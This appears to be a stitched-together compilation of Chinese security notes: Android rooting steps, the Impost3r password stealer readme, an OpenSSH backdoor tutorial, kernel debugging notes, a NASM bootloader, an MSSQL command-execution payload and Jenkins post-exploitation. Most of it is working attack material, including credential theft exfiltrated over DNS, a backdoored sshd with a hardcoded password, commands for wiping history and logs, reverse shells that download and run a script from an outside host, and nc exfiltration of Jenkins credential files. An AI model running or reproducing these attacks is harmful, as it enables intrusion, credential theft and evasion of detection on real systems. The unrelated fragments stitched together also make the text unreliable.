1. 首先购买一个可以root的手机,建议nexus 5X,淘宝二手200多一个,可以直接申请让店主帮忙root
  2. 解锁:关机之后按住电源键和音量-进入fastboot模式,看一下是否已经解锁,如果还未解锁参考

Nexus5 解锁教程
准备sdk工具:

1) 首先购买一个可以root的手机,建议nexus 5X,淘宝二手200多一个,可以直接申请让店主帮忙root
2) 解锁:关机之后按住电源键和音量-进入fastboot模式,看一下是否已经解锁,如果还未解锁参考

Nexus5 解锁教程
准备sdk工具:

  1. 进入谷歌官网下载sdk_tools工具
  2. 进入sdk下载目录如果缺少build-tools, platform-tools等目录,说明sdk下载不完全
    此时进入tools目录运行android.bat文件勾选需要选项继续下载安装
    选做,报错找不到工具情况下: sudo apt-get install android-tools-adb
    sudo apt-get install fastboot
    详细步骤:
  3. 进入设置->关于手机->版本号,点击5或6次“版本号”就能启动“开发者选项”。
  4. 进入开发者选项,勾选USB调试的复选框,确定选择“一律允许此计算机进行调试”。
  5. 将你的Nexus5手机连接电脑。
  6. 你需要给它USB调试访问(别忘了检查框)。
  7. 输入一个命令提示符
    $ adb reboot bootloader 。
  8. 等待bootloader界面在屏幕上出现。
    $ fastboot oem unlock 。
  9. 一个unlock bootloader的选择确认页面会出现。用音量来选择到“YES,”,用电源键来确定。
  10. 这时你手机上的所有数据都将被抹去,LOCK STATE将变成unlocked。不应该超过一两分钟。
  11. 至此你的bootloader(引导装载程序)现在已经解锁,然后你可以root或者刷ROM又准备根、rom、恢复等。
  12. 你应该看到屏幕上显示“START“用电源键选择并让手机重启。
  13. 在重新启动后,你的手机将完成出厂设置(也就是数据全部清空,所以建议可以上来就解锁或做好重要数据备份)。
  14. 重新开机后的画面下面出现了一个打开的锁,以后刷机都会在解锁状态下了。
    做完OTA升级后需重新root
    Nexus5 root教程
    详细步骤:
  15. 首先确保你电脑的fastboot驱动安装正常,如果不确定的话,也可以从这个网站获取(http://developer.android.com/index.html)。
  16. 将你的Nexus 5调整到bootloader模式,具体的办法是先关机,然后在关机的状态下,同时按住电源和音量下键。
    或者输入一个命令提示符
    $ adb reboot bootloader 。
  17. 通过USB数据线将手机和电脑连接起来。
  18. 从http://autoroot.chainfire.eu下载Nexus 5对应的CF-Auto-Root版本(注意这个工具也支持Nexus 4和Nexus 7等)。
  19. 解压并根据你电脑的操作系统选择执行下面的文件:
    Windows — 双击运行root-windows.bat
    Linux — chmod +x root-linux.sh — 运行 root-linux.sh
    Mac OS X — chmod +x root-mac.sh — 运行 root-mac.sh
  20. 根据屏幕提示进行下一步,记得同时关注电脑上和Nexus 5手机上的屏幕变化。
    然后一般来说,操作完Nexus5就成功获取ROOT权限了。
    Nexus5 刷官方ROM教程
  21. 进入官网下载nexus5对应刷机包
    https://developers.google.com/android/nexus/images
  22. 解压
  23. 连接数据线
  24. 将你的Nexus 5调整到bootloader模式,具体的办法是先关机,然后在关机的状态下,同时按住电源和音量下键。
  25. 执行压缩包中的flash-all脚本
  26. 刷机完成
    Nexus5 刷谷歌源码(codename: hammerhead)
  27. 连接数据线
  28. sudo adb reboot-bootloader
  29. sudo fastboot devices 查找设备
  30. 刷img文件
    (android source/out/target/product/hammerhead/文件夹下build好的镜像刷入手机–默认使用的是testkey)
    4.1 刷recovery.img指令
    sudo fastboot flash recovery recovery.img
    4.2 刷boot.img指令
    sudo fastboot flash boot boot.img
    4.3 刷system.img指令
    sudo fastboot flash system system.img
    4.4 刷userdata.img指令
    sudo fastboot flash userdata userdata.img
    4.5 重启手机
    sudo fastboot reboot
    Nexus5 recovery模式下刷升级包及差分包(与系统签名一致否则报错)
  31. adb reboot-bootloader or adb reboot recovery
  32. 使用音量键选择recovery 模式, 电源键确定
  33. 出现倒地安卓机器人, 按音量上键 选择apply update from adb 安装模式
  34. 电脑控制台敲入 adb sideload filename 刷入升级包

3) 解锁后下载magisk,打开后点击安装,选择patch一个文件,通过adb把手机镜像压缩包中的boot.img传到手机中:
adb.exe push ./boot.img /sdcard/Download/
在magisk中选择boot.img

4) 安装完成后,通过magisk上滑点页面底部的插件按钮,安装riru和Edxposed,安装完毕后下载Edxposed manger,重启手机
5) 打开Edxposed manager,如果已经成功,安装justtrustme并开启,下载ProxyDroid,授予root权限并设置代理
6) 重启之后,设置wifi代理就可以了(或者设置proxydroid后不用设置wifi代理)
7) 如果依然抓不到包,使用brida,暂时没搞明白

Impost3r

GitHub issues
GitHub stars
GitHub forks
GitHub license

English

Impost3r是一个利用C语言编写,用来窃取linux下各类密码(ssh,su,sudo)的工具

用户可使用此程序制造水坑,窃取合法用户的密码

此工具仅限于安全研究和教学,用户承担因使用此工具而导致的所有法律和相关责任! 作者不承担任何法律和相关责任!

特性

  • 自动擦除行为痕迹
  • 通过DNS协议传输结果
  • 用户无感

依赖

  • gcc

使用方法

Impost3r可以用来窃取包括sudo、su、ssh服务在内的密码,这三个服务可大致分为2类,sudo以及ssh/su,下面分两种情况讨论

窃取sudo密码

仅需要普通用户权限即可,不要求一定是root,但只能窃取对应用户的密码,不能窃取其他用户的

  • 首先假设攻击者控制了一台服务器,权限为普通用户权限
  • 检查用户根目录下是否存在.bash_profile文件,如果.bash_profile存在:检查.bash_profile文件中是否主动加载了.bashrc,如果主动加载,则跳过此步骤及下两步检查,继续进行之后的操作,如果未主动加载,那么跳过下两步检查,且下文中所有针对.bashrc的操作全部更换为针对.bash_profile的操作!!!;如果.bash_profile不存在: 进行下一步检查。
  • 检查用户根目录下是否存在.bash_login文件,如果.bash_login存在:检查.bash_login文件中是否主动加载了.bashrc,如果主动加载,则跳过此步骤及下一步检查,继续进行之后的操作,如果未主动加载,那么跳过下一步检查,且下文中所有针对.bashrc的操作全部更换为针对.bash_login的操作!!!;如果.bash_login不存在: 进行下一步检查。
  • 检查用户根目录下是否存在.profile文件,如果存在.profile文件:检查.profile文件中是否主动加载了.bashrc(默认情况下加载),如果主动加载,则跳过此步骤,继续进行之后的操作,如果未主动加载,那么下文中所有针对.bashrc的操作全部更换为针对.profile的操作!!!;如果.profile也不存在,原则上Impost3r将无法使用,当然你也可以视情况自己决定是否生成.bash_profile或者.profile文件,并往其中写入类似如下的加载代码来加载.bashrc
if [ -n "$BASH_VERSION" ]; then
    # include .bashrc if it exists
    if [ -f "$HOME/.bashrc" ]; then
    . "$HOME/.bashrc"
    fi
fi
  • 拷贝一份用户的.bashrc:cp ~/.bashrc /tmp/,并将这份副本放在攻击者自定义的路径下(本例中放置在/tmp/目录下,攻击者可以修改)
  • 修改用户根目录下的.bashrc(~/.bashrc),在最后一行添加如下语句(其中“/tmp/.impost3r”需要与下面的FILENAME保持一致):
alias sudo='impost3r() {
if [ -f "/tmp/.impost3r" ]; then
/tmp/.impost3r "$@" && unalias sudo
else
unalias sudo;sudo "$@"
fi
}; impost3r'
  • 添加完成后,保存文件并执行source ~/.bashrc
  • 接着攻击者需要对Impost3r源代码/sudo/main.h进行修改:
/*
    Custom setting
*/
# define FILENAME "/tmp/.impost3r" \\设置Impost3r在目标服务器上的位置
# define BACKUP_ORI_FILENAME ".bashrc" \\表明攻击者所备份的源用户配置文件是.bashrc还是.bash_profile、.profile、.bash_login
# define BACKUP_ORI_PATH "/tmp/.bashrc" \\表明攻击者所备份的源用户配置文件在目标服务器上的位置
# define SAVE_OR_SEND 0 \\设置在窃取成功后是将结果保存在目标机器上或者是发送至攻击者控制的机器(发送=0,保存=1,默认为发送)

/*
    Send to server
*/
# define YOUR_DOMAIN ".com" \\注意,如果你不想购买一个域名来接收Impost3r回传的消息且被植入Impost3r的目标服务器并未禁止向你所控制的dns服务器的53端口的直接udp连接,那么这里的域名请使用默认值;
\\但是如果被植入Impost3r的目标服务器严格限制了dns请求的出站,那么请将YOUR_DOMAIN的值改为你所购买的域名,例如“.example.com”,并将这个域名的NS记录配置成你所控制的DNS服务器地址,在此DNS服务器上运行Fdns,并将下方REMOTE_ADDRESS的值更改为被植入Impost3r的目标服务器的默认dns地址,REMOTE_PORT更改为被植入Impost3r的目标服务器的默认dns地址所监听的dns服务端口(绝大多数情况下都是53端口)
# define MAX_RESEND 30 \\设置当窃取到密码之后,Impost3r向攻击者服务器发送用户密码的最大重试次数
# define RESEND_INTERVAL 5 \\设置每一次发送密码的间隔
# define REMOTE_ADDRESS "192.168.0.12" \\设置回送密码的远程地址
# define REMOTE_PORT 53 \\设置回送密码的远程端口

/*
    Save to local
*/
# define SAVE_LOCATION "/tmp/.cache" \\设置结果文件保存的位置,在SAVE_OR_SEND设置为1的情况下
  • 修改完成后,保存并在当前目录执行make
  • 在当前目录下得到编译完成的.impost3r文件
  • 上传(尽量在目标服务器编译,防止产生非预期的错误).impost3r文件至目标服务器的/tmp/文件夹下(仅为示例,可自行修改,只需与源代码中定义相同即可)
  • 攻击者在自己的服务器上启动dns服务端程序,等待合法用户使用sudo后获取密码。

窃取效果

Tips

  • 在窃取sudo密码的情况下,Impost3r在成功后将会自动擦除痕迹,并不需要攻击者上去手动清理
  • Impost3r会自动判别用户输入的密码是否是正确密码,直到用户输入正确密码后才结束流程并擦除痕迹
  • 请在使用Impost3r之前自行使用sudo -v判断当前用户是否在sudoer组,如果不在,切勿使用Impost3r

窃取ssh/su密码

窃取ssh/su密码与上面sudo密码的窃取利用方法不同,要求必须是root权限,可以窃取任意用户密码

以下以Ubuntu为例,Centos类似,提到的文件位置可能有些许不同

  • 首先还是假设攻击者控制了一台服务器
  • 通过一顿提权操作获得了root权限(或者可爱的管理员就是用root权限启动的服务)
  • 先编辑Impost3r的/ssh_su/main.h源代码文件
/*
    Custom setting
*/
# define SSH_OR_BOTH 0 \\设置偷取模式,0代表仅偷取ssh密码,1代表偷取ssh及su密码,默认为0(后面会讲到区别)
# define SAVE_OR_SEND 0 \\设置在窃取成功后是将结果保存在目标机器上或者是发送至攻击者控制的机器(发送=0,保存=1,默认为发送)

/*
    Send to server
*/
# define YOUR_DOMAIN ".com" \\注意,如果你不想购买一个域名来接收Impost3r回传的消息且被植入Impost3r的目标服务器并未禁止向你所控制的dns服务器的53端口的直接udp连接,那么这里的域名请使用默认值;
\\但是如果被植入Impost3r的目标服务器严格限制了dns请求的出站,那么请将YOUR_DOMAIN的值改为你所购买的域名,例如“.example.com”,并将这个域名的NS记录配置成你所控制的DNS服务器地址,在此DNS服务器上运行Fdns,并将下方REMOTE_ADDRESS的值更改为被植入Impost3r的目标服务器的默认dns地址,REMOTE_PORT更改为被植入Impost3r的目标服务器的默认dns地址所监听的dns服务端口(绝大多数情况下都是53端口)
# define MAX_RESEND 30 \\设置当窃取到密码之后,Impost3r向攻击者服务器发送用户密码的最大重试次数(仅当SSH_OR_BOTH为0,此选项才有效)
# define RESEND_INTERVAL 5 \\设置每一次发送密码的间隔(仅当SSH_OR_BOTH为0,此选项才有效)
# define REMOTE_ADDRESS "192.168.0.12" \\设置回送密码的远程地址
# define REMOTE_PORT 53 \\设置回送密码的远程端口

/*
    Save to local
*/
# define SAVE_LOCATION "/tmp/.sshsucache" \\设置结果文件保存的位置,在SAVE_OR_SEND设置为1的情况下
  • 修改完成后,保存并在当前目录下执行make
  • 得到编译好的文件impost3r.so
  • 将编译完成的impost3r.so上传(尽量在目标服务器编译,防止产生非预期的错误)至目标机器的/lib/x86_64-linux-gnu/security下(不同机器可能文件夹名不同,请根据情况放置)
  • 进入/etc/pam.d下,这时分两种情况,如果选择的模式是仅偷取ssh密码,那么就需要执行vi sshd,在文件的最后添加如下语句
auth optional impost3r.so
account optional impost3r.so
  • 保存并退出,重启sshd服务service sshd restart
  • 而如果选择的是ssh和su密码一起偷取,那么就需要执行vi common-auth,添加相同语句,保存并退出后同样重启sshd服务
  • 攻击者在自己的服务器上启动dns服务端程序,等待合法用户使用ssh登陆目标机器或者使用su切换用户后获取密码。

窃取效果

Tips

  • 在窃取ssh/su密码的情况下,Impost3r由于权限原因无法清除痕迹,需要攻击者自己去清除
  • 请注意,如果设置仅窃取ssh密码,那么基本可以保证攻击者能百分百收到窃取结果,而如果设置两者同时窃取,则不一定保证攻击者能百分百收到结果(仅当设置为dns发送的时候,设置为本地保存不受影响)
  • 不推荐窃取su密码,而且由于用户的ssh密码与su密码是相同的,故而能不窃取su密码就不要窃取,ssh密码就足矣
  • 默认不窃取空密码,请自行尝试用户是否存在空密码(检查一下sshd的配置文件中是否有PermitEmptyPasswords yes,如果是空,那还窃取个鬼鬼。)

注意事项

  • Dns服务端程序我使用的是Fdns,并修改了一部分参数,大家可在文件夹Fdns下找到修改后的源代码,请自行利用命令gcc -o dns main.c util.c编译(注意要先修改main.c中的监听端口)
  • 在编译Fdns之前,请查看util.h中的YOUR_DOMAIN值,确保此值与被植入服务器上的Impost3r程序所编译时使用的YOUR_DOMAIN值是一致的,不然可能会导致窃取的失败
  • 此程序仅是闲暇时开发学习,功能可能存在bug,请多多谅解,也欢迎反馈问题

致谢

Linux操作系统的密码较难获取。而很多Linux服务器都配置了Openssh服务,在获取root权限的情况下,

可以通过修改或者更新OpenSSH代码等方法,截取并保存其SSH登录账号密码,甚至可以留一个隐形的后门,

达到长期控制linux服务器的目的。在很多Linux系统被入侵后都会在系统中留后门,使用OpenSSH留后门是入侵者的惯用方式之一,OpenSSh后门比较难于检测

那么怎么给添加OpenSSH后门以及防范后门呢

安装依赖包

[root@DaMoWang openssh-5.9p1]# yum -y install openssl openssl-devel pam-devel zlib zlib-devel

准备安装包

[root@DaMoWang ~]# ssh -V

OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013

[root@DaMoWang ~]# ls /opt/

openssh-5.9p1.patch.tar.gz openssh-5.9p1.tar.gz
# openssh-5.9p1.patch 是补丁文件

解压

[root@DaMoWang ~]# cd /opt/

[root@DaMoWang opt]# tar xf openssh-5.9p1.tar.gz

[root@DaMoWang opt]# tar xf openssh-5.9p1.patch.tar.gz

[root@DaMoWang opt]# ls

openssh-5.9p1 openssh-5.9p1.patch openssh-5.9p1.patch.tar.gz openssh-5.9p1.tar.gz

给openssh打补丁

复制代码

[root@DaMoWang opt]# cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1

[root@DaMoWang opt]# which patch

/usr/bin/which: no patch in (/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin)

[root@DaMoWang opt]# yum install patch

[root@DaMoWang opt]# cd /opt/openssh-5.9p1

[root@DaMoWang openssh-5.9p1]# patch < sshbd5.9p1.diff # 打补丁就是修改替换原文件

patching file auth.c

patching file auth-pam.c

patching file auth-passwd.c

patching file canohost.c

patching file includes.h

patching file log.c

patching file servconf.c

patching file sshconnect2.c

patching file sshlogin.c

patching file version.h

复制代码

添加后门密码

[root@DaMoWang openssh-5.9p1]# vim includes.h

# 跳转到配置文件末尾处 , 修改默认配置

#define ILOG “/tmp/ilog” # 记录远程登录本机的用户和密码

#define OLOG “/tmp/olog” # 记录本机远程登录到其他主机的用户和密码

#define SECRETPW “apaajaboleh” # 后门密码

修改版本号

[root@DaMoWang openssh-5.9p1]# vim version.h

# 修改为当前OpenSSH的版本号

#define SSH_VERSION “OpenSSH_5.3”

#define SSH_PORTABLE “p1”

编译安装

[root@DaMoWang openssh-5.9p1]# ./configure –prefix=/usr \

–sysconfdir=/etc/ssh \

–with-pam \

–with-kerberos5 \

&& make && make install

 

可以看出来 安装的时候 , 已经把原有的ssh的所有命令全部替换 , 但是原有的配置文件并没有被替换 , 这样不容易被发现

重启ssh服务 测试一下

[root@DaMoWang openssh-5.9p1]# service sshd restart

停止 sshd: [确定]

正在启动 sshd: [确定]

[root@DaMoWang openssh-5.9p1]# ssh -V

OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013

服务正常启动 , 版本也与原版本一致

测试是否能劫持用户密码

首先测试远程登录本机

现在并没有生成文件

用xshell远程连接一下

 用户名和密码被劫持 , 不仅仅是root用户  , 所有远程连接本机的用户都会被记录 

测试后面密码能否登录本机

为了看到效果 使用明文密码登录

连接以后 别留下脚印

[root@DaMoWang ~]# export HISTFILE=/dev/null

[root@DaMoWang ~]# export HISTSIZE=0

[root@DaMoWang ~]# export HISTFILESIZE=0

[root@DaMoWang ~]# echo >/root/.bash_history # 这个是历史命令的终极文件 不能删除 , 如果原来有内容 , 不能清除 可以是用sed替换

[root@DaMoWang ~]# sed -i ‘s/192.168.94.66/127.0.0.1/g’ /root/.bash_history

# 其他访问日志也可以用用sed替换ip , 瞒天过海

安装依赖:
yum -y group install “development tools”
yum -y install ncurses-devel
下载内核源码后解压,下的慢选国内源:
wget https://mirror.tuna.tsinghua.edu.cn/kernel/v2.6/
tar -zxf linux.2.6.32.22.tar.gz
移动到内核源码目录:
mov linux….. /usr/src/kernels/
进入目录编译
cd /usr/src/kernels/
make menuconfig
make -j4 bzImage
make -j4 modules
make -j4 modules_install
make -j4
make -j4 install
最后一步找不到一些模块可以忽略
复制虚拟机一份,一个debug是被调试的,一个server是调试debug的
两个机器关机状态下添加串行端口,使用通道.\pipe\s ,debug是服务端server是客户端,另一头都是虚拟机,主动放弃cpu勾选上
开机,一个执行cat /dev/ttyS1 另一个 echo 123 &>/dev/ttyS1看看有输出没,没有就换,从ttyS0开始往后试,假设是ttyS1
这时候重启debug,选择编译好的内核按e编辑,在quiet后面加 kgdboc=ttyS1,kgdbwait kgdbwait 然后启动,进入kgdbwait界面
server启动gdb:
gdb /usr/src/kernels/linux.2.6.32/vmlinuz
set remotebaud 115200
target remote /dev/ttyS1
这时如果正常就可以进行调试了,如果不正常,需要重新编译内核,修改 /kernel/kgdb.c下面switch …. case ‘f’:下面if里的error….和case ‘T’:下面相同的一行,重新编译后再次进行调试即可
gdb按c执行后,在debug上以root运行
echo g > /proc/sysrq-trigger
即可中断

;启动扇区加载用户程序

app_lba_start equ 100               ;一会会将程序放在硬盘的100扇区

SECTION mbr align=16 vstart=0x7c00      ;mbr段声明,16字节对齐,初始地址7c00

;设置堆栈段和栈指针
mov ax,0
mov ss,ax
mov sp,ax

mov ax,[cs:phy_base]                ;phy_base保存的是一个32位地址,所以需要用两个寄存器存放
mov dx,[cs:phy_base+0x02]
mov bx,16
div bx
mov ds,ax                           ;十六进制左移1位,实际上是除以了16
mov es,ax                           ;将ds和es都设置成计算出的phy_base的段地址

xor di,di
mov si,app_lba_start                ;程序在硬盘上的第一个逻辑扇区号
xor bx,bx                           ;bx清零
call read_hard_disk_0               ;加载程序到DS:0x0000处

;以下判断整个程序有多大
mov dx,[2]                          ;ds:0x0002处保存的值,是用户程序声明的用户程序大小
mov ax,[0]                          ;ds:0x0000处保存的值,这时ds依然是定义的phy_base段地址
mov bx,512                          ;512每个扇区
div bx                              ;看看占了几个扇区
cmp dx,0                            ;除尽了没有
jnz @1                              ;没除尽,跳到@1
dec ax                              ;除尽了,余数ax减一,因为已经预读了一个扇区
@1:
cmp ax,0                            ;有可能长度本来就不够一个扇区,这时ax为0,所以用jz
jz direct                           ;跳到读完操作

;读取剩余扇区
push ds                             ;保存ds,因为程序传参要用ds

mov cx,ax                           ;循环次数(剩余扇区数)
@2:
mov ax,ds
add ax,0x20                         ;如果容纳不下,那就加个0x20的段间距,这样多了0x200=512
mov ds,ax

xor bx,bx
inc si                              ;下一个逻辑扇区
call read_hard_disk_0
loop @2

pop ds                              ;恢复数据段基址ds到用户程序头部段

;计算入口点代码段基址
direct:
mov dx,[0x08]                       ;此时为何是0x06和0x08?因为取的是user的section.code_1.start
mov ax,[0x06]                       ;这是一个双字地址,所以dx存高位ax存低位
call calc_segment_base
mov [0x06],ax                       ;将真正的用户代码入口的基地址写回到用户头中

;开始处理段重定位表
mov cx,[0x0a]                       ;需要重定位的个数,这里用户头部的0x0a是段重定位表项数
mov bx,0x0c                         ;把基地址定在0x0c,这里是段重定位表格的开头地址

realloc:
mov dx,[bx+0x02]                    ;32位地址的高16位
mov ax,[bx]                         ;32位地址的低16位
call calc_segment_base              ;重定位段
mov [bx],ax                         ;写回重定位后的地址
add bx,4                            ;下一个重定位项(每项4字节)
loop realloc

jmp far [0x04]                      ;跳转到用户程序

;---------------------------------------------
read_hard_disk_0:                      ;从硬盘读取一个逻辑扇区

push ax                             ;输入:DI:SI=起始逻辑扇区号
push bx                             ;DS:BX=目标缓冲区地址
push cx
push dx

mov dx,0x1f2                        ;0x1f2是保存要读取的扇区数量的端口
mov al,1
out dx,al

inc dx                              ;0x1f3
mov ax,si                           ;si传参100,0x1f3存储0-7位
out dx,al                           ;表示要读写的扇区

inc dx
mov al,ah                           ;0x1f4
out dx,al                           ;LBA地址 15-8

inc dx                              ;0x1f5
mov ax,di                           ;LBA地址23-16
out dx,al                           ;di传参为0

inc dx                              ;0x1f6
mov al,0xe0                         ;LBA28模式,主盘
or al,ah                            ;LBA地址27-24
out dx,al                           ;这里用or是因为LBA28模式设定是前四位,后四位还是扇区

inc dx                              ;0x1f7
mov al,0x20                         ;读命令
out dx,al

.waits:
in al,dx                            ;0x1f7
and al,0x88                         ;第8位表示硬盘忙,第4位表示已做好准备传输10001000
cmp al,0x08                         ;00001000表示可以传输了
jnz .waits                          ;硬盘是否不繁忙且已经准备好传输数据,否则继续等待

mov cx,256                          ;读256次
mov dx,0x1f0                        ;0x1f0是硬盘接口的数据接口

.readw:
in ax,dx                            ;读数据
mov [bx],ax                         ;将数据写到ds:bx所在的位置
add bx,2                            ;偏移两个读写下一个数据
loop .readw

pop dx
pop cx
pop bx
pop ax

ret

;--------------------------------------------
calc_segment_base:                      ;计算16位段地址
;输入:DX:AX=32位物理地址,dx=0x08 ax=0x06
;返回:ax=16位段基地址
push dx

add ax,[cs:phy_base]                ;取用户程序基址+06,也就是用户程序定义的段地址
adc dx,[cs:phy_base+0x02]           ;adc带进位的加法,基址+08,也就是用户程序定义的,这里取高位
shr ax,4                            ;0x0000,右移四位,ax存储低16位,dx高4位,总共20位地址
ror dx,4                            ;0x0001,循环右移四位 0x1000
and dx,0xf000                       ;低12位我们不需要,and取高四位
or ax,dx                            ;or得到结果0x1000

pop dx                              ;恢复现场,ax为返回值

ret

;----------------------------------------------
phy_base dd 0x10000                 ;用户程序被加载的物理起始地址

times 510-($-$$) db 0
db 0x55,0xaa

用户代码:

;===============================================================================
SECTION header vstart=0                     ;定义用户程序头部段
program_length  dd program_end          ;程序总长度[0x00]

;用户程序入口点
code_entry      dw start                ;偏移地址[0x04]
dd section.code_1.start ;段地址[0x06]

realloc_tbl_len dw (header_end-code_1_segment)/4
;段重定位表项个数[0x0a]

;段重定位表
code_1_segment  dd section.code_1.start ;[0x0c]
code_2_segment  dd section.code_2.start ;[0x10]
data_1_segment  dd section.data_1.start ;[0x14]
data_2_segment  dd section.data_2.start ;[0x18]
stack_segment   dd section.stack.start  ;[0x1c]

header_end:

;===============================================================================
SECTION code_1 align=16 vstart=0         ;定义代码段1(16字节对齐)
put_string:                              ;显示串(0结尾)。
;输入:DS:BX=串地址
mov cl,[bx]
or cl,cl                        ;cl=0 ?
jz .exit                        ;是的,返回主程序
call put_char
inc bx                          ;下一个字符
jmp put_string

.exit:
ret

;-------------------------------------------------------------------------------
put_char:                                ;显示一个字符
;输入:cl=字符ascii
push ax
push bx
push cx
push dx
push ds
push es

;以下取当前光标位置
mov dx,0x3d4
mov al,0x0e
out dx,al
mov dx,0x3d5
in al,dx                        ;高8位
mov ah,al

mov dx,0x3d4
mov al,0x0f
out dx,al
mov dx,0x3d5
in al,dx                        ;低8位
mov bx,ax                       ;BX=代表光标位置的16位数

cmp cl,0x0d                     ;回车符?
jnz .put_0a                     ;不是。看看是不是换行等字符
mov ax,bx                       ;此句略显多余,但去掉后还得改书,麻烦
mov bl,80
div bl
mul bl
mov bx,ax
jmp .set_cursor

.put_0a:
cmp cl,0x0a                     ;换行符?
jnz .put_other                  ;不是,那就正常显示字符
add bx,80
jmp .roll_screen

.put_other:                             ;正常显示字符
mov ax,0xb800
mov es,ax
shl bx,1
mov [es:bx],cl

;以下将光标位置推进一个字符
shr bx,1
add bx,1

.roll_screen:
cmp bx,2000                     ;光标超出屏幕?滚屏
jl .set_cursor

mov ax,0xb800
mov ds,ax
mov es,ax
cld
mov si,0xa0
mov di,0x00
mov cx,1920
rep movsw
mov bx,3840                     ;清除屏幕最底一行
mov cx,80
.cls:
mov word[es:bx],0x0720
add bx,2
loop .cls

mov bx,1920

.set_cursor:
mov dx,0x3d4
mov al,0x0e
out dx,al
mov dx,0x3d5
mov al,bh
out dx,al
mov dx,0x3d4
mov al,0x0f
out dx,al
mov dx,0x3d5
mov al,bl
out dx,al

pop es
pop ds
pop dx
pop cx
pop bx
pop ax

ret

;-------------------------------------------------------------------------------
start:
;初始执行时,DS和ES指向用户程序头部段
mov ax,[stack_segment]           ;设置到用户程序自己的堆栈
mov ss,ax
mov sp,stack_end

mov ax,[data_1_segment]          ;设置到用户程序自己的数据段
mov ds,ax

mov bx,msg0
call put_string                  ;显示第一段信息

push word [es:code_2_segment]
mov ax,begin
push ax                          ;可以直接push begin,80386+

retf                             ;转移到代码段2执行

continue:
mov ax,[es:data_2_segment]       ;段寄存器DS切换到数据段2
mov ds,ax

mov bx,msg1
call put_string                  ;显示第二段信息

jmp $

;===============================================================================
SECTION code_2 align=16 vstart=0          ;定义代码段2(16字节对齐)

begin:
push word [es:code_1_segment]
mov ax,continue
push ax                          ;可以直接push continue,80386+

retf                             ;转移到代码段1接着执行

;===============================================================================
SECTION data_1 align=16 vstart=0

msg0 db '  This is NASM - the famous Netwide Assembler. '
db 'Back at SourceForge and in intensive development! '
db 'Get the current versions from http://www.nasm.us/.'
db 0x0d,0x0a,0x0d,0x0a
db '  Example code for calculate 1+2+...+1000:',0x0d,0x0a,0x0d,0x0a
db '     xor dx,dx',0x0d,0x0a
db '     xor ax,ax',0x0d,0x0a
db '     xor cx,cx',0x0d,0x0a
db '  @@:',0x0d,0x0a
db '     inc cx',0x0d,0x0a
db '     add ax,cx',0x0d,0x0a
db '     adc dx,0',0x0d,0x0a
db '     inc cx',0x0d,0x0a
db '     cmp cx,1000',0x0d,0x0a
db '     jle @@',0x0d,0x0a
db '     ... ...(Some other codes)',0x0d,0x0a,0x0d,0x0a
db 0

;===============================================================================
SECTION data_2 align=16 vstart=0

msg1 db '  The above contents is written by LeeChung. '
db '2011-05-06'
db 0

;===============================================================================
SECTION stack align=16 vstart=0

resb 256

stack_end:

;===============================================================================
SECTION trail align=16
program_end:

目标有360,绕过xp_cmdshell的方式
create table temp
(output varchar(8000));

;declare @luan int,@exec int,@text int,@str varchar(8000);exec sp_oacreate ‘{72C24DD5-D70A-438B-8A42-98424B88AFB8}’,@luan output;exec sp_oamethod @luan,’exec’,@exec output,’C:\Windows\System32\ipconfig /all’;exec sp_oamethod @exec, ‘StdOut’, @text out;exec sp_oamethod @text, ‘readall’, @str out;select @str;insert into temp values(cast(@str as varchar(8000)));–

select * from temp;
drop table temp;

将其中payload换成wmic process call create “cmd /c whoami > C:\Users\vmware\a.t”注意这里的第二个路径一定要写有权限的绝对路径,否则环境是用的wmic路径,一般来说你没权限

2008R2下sqlserver权限试试ProgramData文件夹

转自http://www.rinige.com/index.php/archives/894/

入口

通常碰到 Jenkins 未授权并且拥有 Overall/RunScripts 权限时可以在 Script 控制台执行命令反弹 Shell:

println "wget http://www.rinige.com/back.py -P /tmp/".execute().text
println "python /tmp/back.py 192.168.1.3 8080".execute().text

back.py 里的 HISTFILE 会去掉各种 History 记录,且不需要 root 权限

或者使用 Groovy 脚本,这里使用的是 pentestmonkey 的 Java reverse shell:

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/[attacker IP]/[port];cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

凭证提取

如果用户不是 root 没有 sudo 权限的情况下就可以通过提取 Jenkins 保存的用户或者其他节点凭证来获取 root 权限或者别的节点权限

jenkins_1.png

通常需要获取三个文件:master.keyhudson.util.Secret还有credentials.xml

这三个文件都在 Jenkins 安装目录,默认是/opt/jenkins

nc 传输文件:

root@jenkins:/opt/jenkins # nc -w3 192.168.1.3 5000 < credentials.xml
root@jenkins:/opt/jenkins/secrets # nc -w3 192.168.1.3 5000 < master.key
root@jenkins:/opt/jenkins/secrets # nc -w3 192.168.1.3 5000 < hudson.util.Secret

root@kali:~# nc -l -p 5000 > credentials.xml
root@kali:~# nc -l -p 5000 > master.key
root@kali:~# nc -l -p 5000 > hudson.util.Secret

Script 控制台获取credentials.xml文件:

Windows

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'cmd.exe /c type credentials.xml'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

*nix

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'cat credentials.xml'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

文件内容示例:

credentials.xml

<?xml version =' 
1.0'encoding  ='UTF-8'?> <com.cloudbees.plugins.credentials.SystemCredentialsProvider plugin = “credentials@1.9.4” > 
  <domainCredentialsMap  class = “hudson.util.CopyOnWriteMap $ Hash” > 
    <entry> 
      <com.cloudbees.plugins.credentials.domains.Domain> 
        <specifications /> 
      </com.cloudbees.plugins.credentials.domains.Domain> 
      <java.util.concurrent.CopyOnWriteArrayList> 
        <com.cloudbees.plugins .credentials.impl.UsernamePasswordCredentialsImpl> 
          <scope> GLOBAL </ scope> 
          <id> cd940f20-1697-4052-8b8b-e47c058b5390 </ id> 
          <description> </ description> 
          <username> admin</ username> 
          <password> VHWeSi8aTjIHIObYWyNw / 4hrqydpYESwI1JWfmBQNdI = </ password> 
        </com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl> 
      </java.util.concurrent.CopyOnWriteArrayList> 
    </ entry> 
  </ domainCredentialsMap>

hudson.util.Secret

